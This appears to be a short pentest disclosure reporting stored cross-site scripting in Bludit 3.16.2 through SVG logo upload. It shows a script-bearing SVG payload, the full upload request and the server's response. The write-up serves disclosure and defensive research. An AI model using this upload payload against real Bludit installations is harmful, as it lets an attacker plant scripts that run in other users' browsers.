Friday Fun Pentest Series - 32 - XSS via SVG File Upload - bluditv3.16.2

Description

- It was noted that the application was vulnerable to Stored XSS via SVG file upload

XSS via SVG File Upload #1:

Steps to Reproduce:

1. Login with admin account and click on "General" > "Logo"

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>

// HTTP POST Request Uploading the SVG File

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="tokenCSRF"
59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:16:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]
{"status":0,"message":"Image uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}